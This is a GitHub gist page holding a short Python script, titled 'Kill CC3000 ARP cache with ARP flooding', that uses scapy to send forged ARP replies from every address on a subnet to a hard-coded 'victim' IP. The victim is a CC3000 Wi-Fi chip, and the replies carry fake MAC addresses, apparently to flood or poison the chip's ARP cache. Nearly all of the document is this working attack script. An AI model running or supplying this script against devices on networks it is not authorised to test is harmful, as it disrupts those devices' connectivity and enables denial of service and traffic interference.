Created
February 13, 2014 03:54
-
-
Save Hypnopompia/8969463 to your computer and use it in GitHub Desktop.
Kill CC3000 ARP cache with ARP flooding
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
# on Ubuntu: | |
# sudo apt-get install python-scapy | |
# You'll need to run this script as root to send these ARP packets | |
from scapy.all import * | |
victim = '192.168.1.131' # ip address of CC3000 | |
subnet = '192.168.1' | |
for i in range(2,255): # assumes your gateway is .1 - skip it so we don't break the ARP cache for the router | |
a = ARP() | |
a.op = 2 | |
a.psrc = '%s.%s' % (subnet, i) | |
a.pdst = victim | |
a.hwdst = 'FF:FF:FF:FF:FF:%0.2X' % (i) | |
a.display() | |
send(a) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment